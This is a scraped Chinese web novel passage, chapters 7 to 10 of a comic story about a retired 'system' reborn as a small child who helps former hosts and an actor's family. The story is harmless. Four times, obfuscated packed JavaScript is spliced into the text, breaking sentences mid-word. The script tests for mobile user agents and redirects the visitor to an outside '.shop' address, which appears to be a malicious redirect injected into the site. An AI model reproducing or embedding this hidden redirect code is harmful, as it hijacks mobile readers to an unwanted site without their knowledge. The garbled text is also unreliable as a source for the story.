;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13762175|145594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 健品哥,你不会真是卖保健品的吧。我们站起来支持原创,拒绝二手思路! 二手售卖:二手到底怎么你了?! 小向:…… 他一言难尽地退出质疑帖,打开“系统系统我爱你”的主页,界面上显示对方是今天刚注册的新号,信息一片空白。 小向鸡皮疙瘩起了一身:妈呀!好巧的巧合! 只惊讶了一秒,很快小向就在心里给这样的巧合找到了令他信服的理由:肯定是因为我平时求神拜佛,希望事业顺利的愿望被上天听到了,特地给我送来一个大神,保佑我顺顺利利的。 小向:等不忙了就去庙里还愿。 想着还愿用词和新愿望的小向迷迷糊糊地睡了过去。 *** 柏俞迷迷糊糊睁眼时,温时礼还未出门,他坐在餐桌前吃着早饭听新闻,但也快到去剧组的时间了。 时间还早,柏俞被解禁热闹起来的群聊信息声吵醒,一脸懵懂地半睁双眸,透过眼睛缝隙虚虚地盯着陌生的天花板。 她翻了个身,没管群里的前宿主们又在聊什么,顺手将群聊设置为免打扰,又责任心作怪的,下意识地点开查看主系统新跳出来的提示红点。 【主系统:检测到事件关键人物——演员江岚,在粘吧为你发声,是否点击跳转书签查看。】 还没完全清醒过来的柏俞面露疑惑,她有些不解:江岚为什么要为我发声?她认识我吗? 柏俞手脚夹着柔软的被子,在床上蛄踊了几下,才耐不住好奇地挣扎起身,在床上翻找起不知道放哪去的平板,点开了昨天没来得及卸载的粘吧。 她本以为信息修复节点都已经解决了,粘吧也留着的必要,怎想这件事情还会有后续。 柏俞通过主系统提供的书签,跳转到了江岚发帖的楼层,为了粗略了解事情始末,她大致浏览了一下江岚前后的几个帖子。 有不少人质疑辱骂她的账号,但柏俞毫无波澜地轻轻划过,她关注到的信息是有些人在跟帖求助,柏俞摸索着找到原先的求助帖,往下翻了好久,才翻到那些求助楼。 路人H:相机储存卡能修复吗?去年拍的素材全受损了。 路人I:能帮我看看吗?黑屏手机里有我去世家人的聊天记录…… 柏俞先分别私信了最早寻求帮助的两人,希望对方提供具体的受损原因和受损程度,会根据情况回复是否能修复数据。 私信完,柏俞又重新倒回床上,她的意识渐渐变得朦胧,正在她快重新进入梦乡时,张强私信回复了她的提问。 [影视基地/张强:哦哦哦,我不会是第一个被私信的人吧,我要在群里好好炫耀一番!] [影视基地/张强:一般是排期,或两人要求意向有差,原因比较复杂。] [影视基地/张强:是谁拒绝和你合作吗?!] [影视基地/张强:他真没眼光!不懂这种人脑子怎么长的!大好的机会他不要,蠢得无可救药!!!] 7. 发配挖矿 影视基地办公室内,张强正和新的生活助理小张对坐,在茶桌前品味茶艺师傅泡的蓝天玉叶,他虽然看不懂师傅烫手的操作,但心里觉得好茶就得配上好的仪式感,他细细品味着茶水的清香,表面一片淡然,岁月静好。 实际上,他刚在私信里狠狠吐槽完,见久久得不到系统的回复,心想肯定是那个不配合的傻X让系统不得不殚精竭虑、分身乏术,他在心里啐了一口,面带不屑地呸出一点茶叶碎渣。 善良救赎的神降临到身边,他却没法接住!真是天生没那个命啊! 助理小张见张强突然面露难色,诚惶诚恐地搁下茶杯,他新人上任,还不是很了解张强的脾性,以为他是想到了什么生气的事,做好十足的准备要倾听领导侃大山了。 张强在业内是个说一不二的性格,决定好的事情基本很难改变,但为人极其护短,所以在一些特别的事情上颇为没有原则,不过总体上行事雷厉风行,在人前还是那个霸气侧漏,从不轻易低头的经典霸总形象。 上一个看过他在女儿面前手足无措,毫无底线的生活助理,已经被他发配到“非洲”挖矿了——也就是在影视基地废土拍摄区做外景去了。 张强一脸深沉地咂摸了两下嘴,没喝出这天价茶叶到底好在哪里,为了增加自己的喝茶体验,他装模作样地从柜子上抽出手下人今天新交的文件夹,细细翻看起来,期间手指还不停在纸面上点来点去,像是在圈画重点。 小张无声地唔了一下,头小幅度摆动,以表达自己的震惊:不愧是业界数一数二的霸总!喝茶也要配上业绩报表! 小张也紧跟着喝了一口茶水,他感慨道:看张总这个眼神!多么的专注认真啊!看这令人头疼的数据都能这么投入!难怪能做大做强呢,我要学起来! 实际上,张强只是在切换群聊界面,为了不让别人觉得他有神经病,拉低他在人前的B格,拿影视基地的新季度报表遮掩一下。 他将系统主动私信他的截图发到聊里,得意洋洋地开始炫耀。 [影视基地/张强:新的美好一天,从系统的问候开始。截图.jpg] [基地首领/赵得铸:你***,你凭什么啊,我也有基地啊,凭什么是你啊!?] 张强看着立马跳出来的回复,心里满意极了,这茶水喝着都更香了,他面带微笑地点点头,故作谦虚地绿茶到—— [影视基地/张强:哎呀,不知道哎,就是系统顺手选到了吧,虽然J排在Y的前面,你应该在通讯录前排,但是就是找上我了啦,总不能是看我比较顺眼吧。] 视察影视基地时,张强总能看到不少剧组、网红在拍摄段子,他的妻子还尤其钟爱看那些狗血的霸道总裁剧,每晚都要拉着他一起看,边看还要边吐槽,虽然剧情很土,但确实很上头,张强就当顺便视察影视基地的造景和拍摄效果了,反正他基本垄断了一半的拍摄造景合作。 张强对自己这个茶香四溢的回复十分地满意,他又抿了一口茶水,得意道:果然,要配上点下茶菜,佐以精神上的绿茶味儿,才能品出这好茶的幽香。 “好茶,实在是好茶。” 心情舒畅的张强毫不吝啬夸奖:“这蓝天玉叶不愧是拍品,喝得人心情舒畅极了。” 小张全程围观,他看着张强注视报表目不斜视,指腹还有节奏地点着那些数字,最后满意地露出了一个迷之微笑,他在心里揣摩道:领导说话都是有言外之意的,这肯定不只是在说茶叶好,肯定是在说新交上来的季度报表非常好看,狂赚一大笔,看张总脸都快笑成一朵花了! 张强吹吹新添的滚烫茶水,继续欣赏着群里人破防的发言:新的美好一天,从缺德独乐乐开始! [剑修/张狗蛋:叉出去,我的40米大剑已经准备就绪!] [异国王储/Kari:NO!!!!Idon’tbelieve!!!(系统自助翻译:不,我不信。)] [器修/钱多多:哈哈,我是器修,虽然没有基地,但我有厚厚的盾牌!谁也别想破我的防!] [器修/钱多多:哈哈。] [剑修/张狗蛋:@影视基地/张强,在磨剑了,等我找到你,你就完了!等着决斗吧!] [科研/蓝依依:……] [手环研发/杨珍妮:……] [外交官/李立泽:@手环研发/杨珍妮你的备注怎么改了?个人是无法修改备注信息的。] 看到这的张强顿了一下,傻乐暂停,他心里一惊:不愧是做外交的,这么敏锐!我都没看出来! 眼看着群内消息不再围绕着他一个人,张强悻悻地暂时关闭群聊,预备先开始今天的工作,等不高兴了再把这聊天记录翻出来开心开心,他定睛专注地审视起眼前的季度报表。 越看,张强的表情就越发凝重起来,他眉间紧紧皱成一个川字,刚喝的那一口茶瞬间就不香了。 他把报表翻得哗哗作响,声音在安静的办公室内回荡,张强不信邪地细细重看:这个业绩!它怎么下滑这么多! 专心品味天价茶叶的小张被突如其来的声音吸引得抬眸,他有些讶异地想:这怎么了?刚刚不还挺高兴的吗?!报表哪里有问题吗?领导怎么又重新挎着张脸?! 领导的脸,六月的天,没有什么处理经验的小张放下茶杯,战战兢兢地询问道:“张总,需要我帮你叫人吗?” “去把做这个报表的主管叫来!现在,立刻。” 小张连忙起身出门,他整理了一下领带着装,清了清嗓子,板起脸,让自己看上去经验十足。 心里激动万分地想,不愧是霸总!就是有B格!他也是cos上管家了:三分钟!让那个男人来见我! 办公室内,独留张强和安静沉默的茶艺师傅,张强严肃地又啜了一口茶,严阵以待但还是不可避免地想走不容易出错的捷径:系统能不能放弃那个没品的东西!重新来拯救我啊! *** 柏俞再次苏醒时,温时礼已经走了,她有些难受地用被子蒙住头,让主系统检测她的身体怎么了,她感觉有人四仰八叉地杵在她肚子里,正在锤她的内脏肚皮。 【主系统:很遗憾地通知你,因为你昨天吃了太多蛋糕,还吃了不少冰淇淋,但幼崽肠胃脆弱,现在你正在体验人类的肚子痛,请向人类医生求助,使用药品吧。】 柏俞哼哼唧唧地在被窝里拱来拱去,先给唾手可及的杨珍妮发去系统私信,希望她能带人救自己于水火。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13762176|145594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杨珍妮收到信息时,正在面对老管家的盘问,她镇定自若地和老人打着太极,又极其自然地询问柏俞怎么还没起。 [手环研发/杨珍妮:抱歉,我小时候没什么吃的什么都吃,忘记小孩肠胃脆弱了。] 杨珍妮很快就带来了人,管家看到柏俞冷汗涔涔的小脸后,一别墅的用人鱼贯而入,有的给汗津津的柏俞擦脸,有的在催医生,处之泰然的老管家在人群中给温渊打了一个电话。 柏俞几度睡了又醒,昏昏沉沉间,感觉到有人在喂她药和水,她迷迷蒙蒙地听话喝下,又重新倒回枕头上,难受地在枕头上蹭了蹭。 温时礼刚接完父亲温渊的问责电话,早上快刀斩乱麻地和杨横武解约后,他就接到了管家的来电,老人家希望他能回来一趟,给病了的柏俞陪床。 温渊并没有在电话那头说什么重话,相反,他的态度十分冷漠,只是客气疏离地提醒他,下次不要带妹妹吃些乱七八糟的,希望他带人出去能早点送回来,科学上小孩8点就应该睡觉了。 温时礼一一应下,态度说不上淡漠,但也绝对算不上热情,两个人就像陌生邻居在街上遇到,围绕着天气(柏俞)说了几句话,很快就各自离开了。 柏俞依靠在床头,恹恹地捂着肚子,她就着保姆的手慢慢地喝水,嘴角一瘪,和自己新融合的身体道歉:“对不起,我吃太多蛋糕冰淇淋啦。” 柏俞举起小手,比着动作,和身体有商有量:“下次,我只吃一点点。” 温时礼被她一本正经的小摸样逗笑,上前捏了捏她的脸颊,他不希望小孩有负罪感,说道:“身体说原谅你啦,是她也想吃的,不怪小俞。” “哦哦,我就知道。”柏俞重新开心起来,肯定不止是她嘴馋,吃过药休息过的她又重新积蓄活力。 “杨珍妮姨姨也喜欢吃,蛋糕就是很好吃。” 温时礼:“……” 他故作伤心地垂下头,长长的羽睫敛去眸里的光,让温时礼整个人看起来分外委屈,他抱臂说道:“你怎么只关心别人吃不吃,你才认识她几个月,关系就比哥哥亲密了。” 柏俞先前很怕生,基本上只搭理她认定可以信任的熟人,在昨天下午之前,她都还不怎么搭理温时礼,也不太信任他,一个人故作坚强,默默忍下被同龄人欺负的委屈。温时礼有些受伤,怎么当网友就没有考察期,立马就能被列入熟人行列,他怎么没这个待遇。 他不知道柏俞先前不爱搭理人,看起来过分孤僻,只是因为还没正式退休,身体暂时由主系统接管,一切采用省电模式。这样安静,没什么特别社会关系的幼崽能更好地让柏俞做自己,重新建立属于她的人际羁绊。 温时礼一边演,一边偷偷用余光打量柏俞,见柏俞没什么反应,他疑心是背光的效果不好,不能将他的脆弱勾画到位,他刚刚就应该倾斜一点,让自然的柔光洒在他半边脸上。 没什么反应的柏俞只是不知道温时礼为什么突然委屈,她见温时礼没抬头看她,偷偷打开了主系统。 【主系统:检测到事件关键人物——张横武,解约后在微博拐弯抹角地卖惨,疑似要搅弄舆论,是否点击跳转书签查看。】 柏俞:果然!可怜的炮灰哥哥! 8. 视频剪辑 柏俞怜悯地学着炮灰哥哥的动作,轻轻在他的头顶上揉了揉。 温时礼正小幅度地挪动身体,想将画面光影和表现力调整到最佳,他被柏俞突如其来的动作弄得一怔,一动不动地僵住了。 从很小的时候开始,就没有人这么温柔地安慰过他了。 三岁半的柏俞顶着张可爱的脸蛋,老气横秋地开口:“没关系,困难都是在所难免的。” 温时礼:“……” 温时礼第一次有些怀疑,他和妹妹可能不在一个频道?杨珍妮只是个网友!怎么会比哥哥还亲!?这有什么好困难的! “这样么?”稍有不满的温时礼面上不显,依旧持续着表演,他想着网友都是会散的,只有哥哥能一直陪着她,所以这件事可以先放一放,温时礼抓住独处的时机,对柏俞进行安全教育。 “可是哥哥很担心你,以后不能再自己去找网友了,你自己一个人跑出去,遇到坏人被拐走了怎么办?” 柏俞似懂非懂地点点头,她见温时礼一再强调自己的担心,郑重其事地承诺以后再也不会一个人出门了。 柏俞:人类幼崽自己出门很危险吗?她以前刚出生就出远门打工了啊。 感到困惑的柏俞偷偷摸摸地背着温时礼在群里询问:现代三岁人类幼崽可以自己出门吗? 很快就有人回复了她—— [外交官/李立泽:通常来说不行,拐卖、绑架事件频发,如果你要劝新宿主听话,5分钟后,我将整理好的新闻打包私你,你可以念给他听,劝诫他别这么做。] [科研/蓝依依:小孩四五岁幼儿园还是家长接送,到一年级离家近才可能自己上下学,三岁自己出门是很危险的,车流、人流,意外事件都有可能发生。] 柏俞一惊:!劝诫到我了!原来对人类来说,这么做是危险错误的! 她顿时有些心虚,视线乱飘,柏俞慢吞吞地把手重新搭回温时礼的头顶,把她刚刚摸乱的地方打理整齐。 柏俞大声认错,知错就改:“我刚刚知道错啦!我以后绝对不会啦!” 刚刚?温时礼被妹妹的用词弄得啼笑皆非,他好笑地起身,也揉了揉柏俞的毛绒脑袋,轻笑道:“好好好,知道就好啦,不是你的错。” 好不容易要求次次都有回应,经过这两天的相处关系更进一步,柏俞不再把他当成陌生人了,温时礼半开玩笑地得寸进尺道:“那以后要和哥哥天下第一好。” 温时礼是柏俞睁开眼后接触的第一个家人,也是接触时间最久的,她看哥哥一副很期待的样子,虽然觉得他很幼稚,但还是答应下来,她点点头,决定今天为了天下第一好的炮灰哥哥努力奋斗。 柏俞:“好吧。” 温时礼见柏俞有些扭捏地答应,以为她是害羞了,也不再逗她,心里却对这句回答满意极了,他感觉整颗心都暖暖的,像是泡在了温水里。 下一秒—— 柏俞冷静的声音传了过来:“那你现在可以先自己玩吗?”我要开始帮你解决问题了。 温时礼:“??”不是刚说了和我最最好?!怎么下一秒就要赶我走?! 柏俞不由分说地推搡着便宜哥哥的大长腿,让他哪好玩哪待着去,因为睡觉她两次错过去剧组,温时礼已经和张横武解约了,解约的事情她没帮上忙,搅弄舆论这事她一定要帮上! 送走黏人的幼稚哥哥后,柏俞掏出平板,按主系统的提示下载注册了大眼,决定先去看看张横武又在搞什么幺蛾子。 输入ID后,界面上显示出廖横武的大眼账号,柏俞打开了他最近发布的一个视频。 那是一个黑屏的录音,一记响亮的巴掌紧跟着一句极其愤怒的“滚”,视频短短几秒,音频没有使用特效变声,柏俞推测这就是张横武手上有关江岚的“证据。” 他的账号有近千万的粉丝,虽然互动率不高,但都是些热爱武侠武打的老粉,张横武的配文也独具个人特色,有一股倚老卖老、唯我独尊的霸道味。 【武打廖横武V:现在的年轻人,都不懂尊老爱幼了,和以前的时代不一样了,以前拜师,师傅打你就打了。】 底下的粉丝有不少拥护他的老古董,也有不少吃瓜网友纷纷猜测到底发生了什么,更有了解张横武近况的人直接发问。 【老粉A:廖兄最近不是接了个新剧组当武指吗?】 【武打廖横武V:@老粉A解约了,等我发武打花絮。】 【老粉C:是哪部剧?怎么解约了?没你指导的打戏我不看!】 【粉丝A:害,现在的仙侠古偶都是特效的天下,双手一挥,一排人就倒了,有啥好看的。】 【粉丝B:对啊,都在爱来爱去的,打架就是随便比划两下,没什么观赏性。】 【粉丝C:还在看老剧,里面的打戏太利落了。】 【武打廖横武V:害,人家为了包庇演员,主动和我解的约。老咯,指导不了几年咯。】 【老粉A:不要啊!!资本压死人!哪个演员,打你了吗?就视频里那个女声吗?等着我集结兄弟帮你伸张正义!】 【老粉C:肯定是剧组捂嘴不能说呗,等我对比出是哪个女演员,就不算老廖主动暴露的吧,等兄弟好消息。】 【武打廖横武V:还是有很多人喜欢看武术表演的嘛,等我发花絮,大家可记得来捧场。】 廖横武语焉不详地在微博发了些似是而非的话,面对老粉的询问态度也表现得欲盖弥彰,将自己包装成一个有口难言,并且讲道理的受害者。 当然评论区也有质疑的声音,不少没关注过廖横武的吃瓜路人看热闹不嫌事大,在评论区艾特了喜欢狗血八卦的快综官方。 【路人A:@瓜之大综艺官方V来活了,这里有人需要热度伸张正义。】 【路人B:就是啊,别光在私底下吵啊,搬上大舞台!要吵去“瓜之大”吵。】 【路人C:@瓜之大综艺官方V我的娱乐圈唯一人脉,快来帮忙爆料!】 “瓜之大”是一档曾经爆火过,现在不温不火的娱乐瓜综,每一期都会请一些颇具争议的明星或素人上节目,又被粉丝戏称“轮到你了”,节目组每一期都会为了热度搞事情,在第二季时见证了送明星踩缝纫机的全过程而爆火过。 虽然张横武的大眼有不少的评论,但热度现在还未完全发酵。 他没有直接爆料什么,也没有指名道姓或是写能对点反驳的小作文,柏俞也不能直接发她不应该掌握的证据,她一时间拿不定主意,心想这件事情今天可能解决不了了。 暂未想到对策的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13762177|145594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柏俞一头扎进被子里,想要摆烂的她收到了杨珍妮的私信。 [手环研发/杨珍妮:我去外面逛逛公园,好久没呼吸新鲜空气了。] [系统:要不要我去陪你,你下午就回去了吗?] [手环研发/杨珍妮:嗯,手头还有很多工作,看到你过得很好,家人都很关心你感到很安心,等我正式修年假了再来。你病了就好好休息,我一个人坐坐。] [系统:嗯嗯,你好好放松放松。] 刚回完系统信息,被柏俞丢在床尾的平板就传来了其他消息的提示音。 粘吧上的用户收到了她的私信,并给她回来了信息。 柏俞认真回复着两人的私信,她的提问和回答都十分专业,对面的两人很快就对她产生了信任。 路人I:我能把手机寄存到维修店里,你找时间帮忙修吗?我可以付钱。 系统系统我爱你:可以,就“AAA维修一哥”的手机店吧,但得过段时间,我最近很忙。 路人I:好的好的不急,谢谢!我去和维修店老板交涉。 路人H:相机掉海里了,但是里面有我的VLOG素材,哦这是我的小号,我全网大号是“情感博主呵呵”。 路人H:视频.MP4这是全部能用的素材剪成的,损坏太多了!这个VLOG是完全没法发了! “情感博主呵呵”全网坐拥两千万粉丝,是位榜上有名的头部博主,人长得十分漂亮,出过几条爆红的情感段子,经常在直播间帮忙解答情感问题。 柏俞先大致观看了她发来的视频,后了解了相机的损坏原因,物理的伤害她解决不了,又不好再去打扰杨珍妮。 系统系统我爱你:不介意可以把素材发我,我略懂一些剪辑。 对面很爽快地发来了素材包,并表示如果剪辑完能用,可以支付高额报酬。 因为柏俞来势汹汹的肚子痛,管家帮她推去了下午的沙盘预约,柏俞决定充分利用时间,她来到柏轻雾为她准备好的电竞房,打开电脑帮忙视频剪辑。 小姨柏轻雾正在创业做游戏,她为柏俞准备的电脑设备十分专业,显卡配置强大,只是柏俞先前一直没打开过。 柏俞作为幼崽,不能长时间的工作,她只能做一会儿,玩一会儿,躺一会儿,但因为剪辑思路清晰,技术驾轻就熟,电脑设备给力,她还是一下午就搞定了视频剪辑。 在保姆来喊她吃饭前,柏俞完成了视频作品,她将剪辑的主题定为短暂如梦的回忆,素材顺序打乱,损坏的地方使用了技术特效处理,让画面呈现不同的效果,似回忆梦核又似现实循环,整个画面看起来身处其中但人的意识仿佛又在此之外,怀念又带着刹那微闪的怀疑。 柏俞将两分半的视频压缩好私信过去,并备注对方可以随意处理,而后乖乖跟着保姆阿姨吃饭去了。 路人H:这么快!? “呵呵”正在上网冲浪,她一秒接收,本来不报什么期望。 路人H:真的只是略懂??这么牛B!!! 做了八年的博主,“呵呵”有着敏锐的流量网感,她直觉这条视频绝对能够爆火! 路人H:xxxxxx这是我的飞鸽号,能不能加一个私聊,你接长期剪辑吗?接受月薪多少?我能开出市价的5倍! 9. 大佬求合作 路人H:我超喜欢你剪的这个视频!! 路人H:你说可以自行处理,那我能下午发在我的账号上吗?会在视频结尾和文案备注是你剪辑的!请一定加我飞鸽让我技术付费! “呵呵”原名何荷,她在电脑视频播放器上,将“系统系统我爱你”发来的旅行VLOG循环播放了不下十次,在心里由衷感慨对方的想法之精妙,剪辑技术之高超。 I地是她青春年少时最向往去的地方,虽然因为语言交流障碍,旅行期间遭遇过一些麻烦,但这仍然是她很喜欢,也很期待与大家分享的一次旅行,是她对年少不可得之物交上的答卷,所以即使素材受损,剪辑出来的成品一般,她还是无可奈何地将VLOG分享了出去。 那个视频的反响如她所料,水花平平,但因为工作规划,她没时间再去旅行,就算再去,她感性地认为那也和第一次有所区别。 素材不够导致剪辑不出想要效果,这件事在何荷心里留下了个疙瘩:人总是希望承载了自己向往和喜爱之物能被更多人认可喜欢。 “系统”发来的剪辑版本,不仅画面效果一流,和故事表达高度统一,视频里所呈现的氛围还与她本人隐秘的情感交相呼应,就像素未谋面的陌生人通过她拍摄的素材,一眼洞穿了她的思想情感,并在内核表达上将她的期待精准展现。 何荷兴奋地将这段视频上传至工作室的交流大群,暂时没管小伙伴们的评价,她将手机调回粘吧的私信界面,常亮架在一边,希望能在“系统”回复的第一时间接收并回复信息。 何荷内心激情澎湃,她一边欣赏着视频,听着视频的背景音,一边编纂着相应的文案,还在纸上草稿着发视频推广的计划步骤。 作为情感类博主,何荷的视频一般都在傍晚发布,工作休息饭点的人可以打开当下饭节目,而且人在夜晚会更加感性,她的视频更容易能引起共鸣。 何荷在纸上列着不同的文案,相同素材的VLOG她已经发过,为了不让粉丝觉得她在水更新,获得最大程度的积极反响,标题必要费一番苦心。 何荷在今晚有一场情感直播,可以在傍晚发布后直播再提,直播内容刚好可以谈谈她做博主的经验和过程踩的坑,鼓励网友列可行的阶段性计划,及时给予自己奖励正反馈,只要脚踏实地地行动,想要完成的事情终会完成,最后再自然而然地提起,她就是用去I地旅游做奖励,最大程度地调动流量热度。 敲定好文案和宣发策略的何荷,将视频在全网账号定时发送,并把规划条目发往工作室群。 【何:大佬一下午的剪辑作品,视频.ZIP】 【助理A:我X,这是外包剪辑的作品吗?剪得这么牛B?!】 【剪辑小王:有想法的技术流,够我学一辈子,何姐,你不会开除我吧,我就是点子少了一点,技术还是过关的!不要抛弃我啊!】 【直播助理:[链接]这是之前剪的视频版本,对比起来差距好大!我去!准备啥时候发!?】 【助理B:爆款预备役!谁剪的?!这个月的数据会非常好看!!!】 【录屏组:这得经验多丰富、审美水平多高才能剪成这样啊,我们团队十几个人,没一个能想到这种剪法!】 【摄影:如果有的机位不是我拍的,我都不敢信这是何姐的视频,把损坏缺憾变为主题的一部分,小王,虽然你是团队御用剪辑,水平比起这个外包还是差点啊。】 【剪辑小王:不要啊!何姐,我可是跟了你六年的老员工啊!给我一点时间,我去做一份分析,我要进步!我爱学习!】 …… 何荷的工作室团队氛围轻松,她看着团队人在群里震惊耍宝,勾唇浅笑,她拿过手机,仔细刷新着粘吧界面:怎么不回信息啊……急急急,技术想法审美兼备的剪辑师要是没抢到,她半夜都会难受醒。 路人H:如果您觉得5倍太低,我们也可以按视频播放量谈抽成,大佬,我真的很喜欢这个作品!请一定给我个机会为您的劳动付费!! *** 正被疯狂惦念的柏俞打了个喷嚏,她在杨珍妮的怀抱里抖了三抖。 “回去吧。”别墅门前的杨珍妮抽出面纸递给柏俞,替她把外套拉链往上拉好。 “天黑了外面冷。” 柏俞接过纸巾道谢,她只是空打了个喷嚏,用纸巾擦去并不存在的鼻涕后,叮嘱道:“嗯嗯!你要照顾好自己哦。” 杨珍妮点头称是:“我会的。” 她在温时礼的死亡凝视下,克制住揉柏俞脑袋的冲动,杨珍妮站起身,对暗暗瞪着她的温时礼礼貌地嘱咐道:“你要照顾好柏俞呦。” 杨珍妮暗自盘算:不然等我安排好工作,没那么忙,有时间天天陪着柏俞,我可要来和你抢人了。 温时礼仿佛猜透了她的想法,面露不善,他轻哼一声,心想她不说自己也会对自家妹妹好。 温时礼:这便宜网友管得还挺多!对别人家的妹妹关心过头了!以为小孩不懂事和她出去玩过一次,自己就算什么很重要的人了吗?!昨天宝贝妹妹可是亲口说了他们才是天下第一好! 温时礼重音强调道:“我自然会对我家妹妹好。” “你们只是网友……”他拉过认真擦脸、处于状况外的柏俞,将大外套罩在她身上,对杨珍妮礼貌地提醒,“你越界了吧……” 准备离开的杨珍妮不欲和他争吵,语气敷衍但态度端正地轻嗯了一声。 柏俞披着温时礼的长风衣,局促地用手拽住衣服不让下摆垂到地上,她不冷,不想成为便宜哥哥的外套架子,柏俞一手拉着衣摆,一手就要脱衣服。 修罗场中心,但状况外的柏俞自个忙自个的,她嘟囔道:“我要进去了,我不要穿这个,好重!” “好,我们进去。”温时礼顺着柏俞的话,又把风衣拎了回去,搭在自己的臂弯上,牵着妹妹的手和杨珍妮告别。 把柏俞送回房间后,温时礼按照计划出了门,他为重新拉投资组了个饭局,说是饭局,最后很可能会变成酒局,需要温时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13762178|145594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 礼按时出席。 被送回房的柏俞百无聊赖地趴在地毯上,她从玩具房将小羊玩偶抱回了房间,正在和它交流,等着听老前辈给自己讲个故事。 [手环研究/杨珍妮:小俞,我能把合照、下午拍的公园照片发在系统朋友圈里吗?] [手环研发/杨珍妮:好久没外出了,这一趟很开心,谢谢你。] 柏俞拨弄着小羊玩偶头顶的呆毛,随手就答应了下来。 [柏俞:哦哦,你想发就发吧,我不介意的。] 【主系统:检测到新的朋友圈信息,正在审核中,预计通过时间:20小时后。】 柏俞抬手挥去光屏,心中感叹:果然是退休版,反应迟缓,审核这么久!肯定是想在方方面面展现落后和延迟,等着我放弃退休,重新成为打工崽! 誓不上当的柏俞揪着地毯的毛绒,又去巡视了一圈群聊,发现大家正在盘问杨珍妮。 [外交官/李立泽:@手环研发/杨珍妮你的备注怎么改了?个人是无法修改备注信息的。] [画师/楚严玉:确实。警惕.jpg] [手环研发/杨珍妮:系统退休了,她现在是人类幼崽,遇到了不好解决的事情向我求助。] [手环研发/杨珍妮:我穿去她的位面帮忙了,应该是自动检测,更新了资料。] [剑修/张狗蛋:穿越?!为什么选了别的小宿主!?] [剑修/张狗蛋:笑死,我也没有很在意。] [画师/楚严玉:我也想穿,系统长得可爱吗?现在叫什么?!] [画师/楚严玉:她喜欢什么颜色的麻袋?彩色的可以吗?!] [基地首领/赵得铸:@影视基地/张强哈哈哈哈你得瑟什么!?有人已经和系统见过面了!你只是被私信了一下!] [器修/钱多多:我真的要破防了……] 被艾特的张强正忙得晕头转向,根本没时间打开群聊,更没时间在群里插科打诨,发现业绩下滑后,他紧急召开了多场会议,整个人焦头烂额。 柏俞忽略了这些信息含量不高的群聊,她扒拉出平板,准备看看炮灰哥哥的麻烦——张横武的最新动向。 还没来得打开大眼,柏俞先注意到了粘吧图标上的99+红点,她顺手点了进去。 她的三无账号突然涌入了大量的人,新增了大量关注,柏俞一头雾水地先浏览起私信。 路人H:大佬,视频已经发布了!反响超级好!! 路人H:账号是“情感博主呵呵”!看您应该在忙,我等会有个直播,可能不能很快回信息。 路人H:剪辑合作的事情希望您考虑考虑!我真的很喜欢您的剪辑风格和作品想法! 柏俞逛了一圈和她有关的粘吧帖子,才搞明白事情的前因后果:“呵呵”十分满意她的剪辑作品,发布到网上后获得了不错的反响,她用小号在质疑“系统”技术的帖子下回帖被追着骂,索性用大号帮“系统”站台。 柏俞:啊??? 10. 大眼热搜 VLOG发布成功后,观看量指数增长,短时间内数据全网飘红,紧盯数据的何荷笑容完全收不住。 直播室内,她正和助理们调试直播设备,整个工作间里洋溢着业绩超前达标的欣喜氛围。 直播助理拉上窗帘,最后调整着摄像的摆放角度,将不同角落的氛围灯全都打开,一脸好奇地问:“何姐,那个剪辑大佬回你了吗?” 闻言,何荷笑容一收,沮丧地扒拉了两口外卖:“还没呢,她一直没回我。” 助理Amy将吃完的饭盒收拾好,一手不断刷新着观看数据,查看在线观看人数,她步履轻盈地回到沙发边,信心十足地说:“没事没事,可能在吃饭没看手机。” Amy语气轻快:“在线人数上万!稳住涨幅和后续宣传,新的爆款视频预定!” “你们说,我要不要在粘吧为大佬发声?”何荷仰头伏在手臂上,食指将架着的手机界面往上划,“粘吧有好多质疑大佬的回帖。” “虽然她没有帮我恢复素材,但是直接一步到位!帮我完成剪辑了啊!” 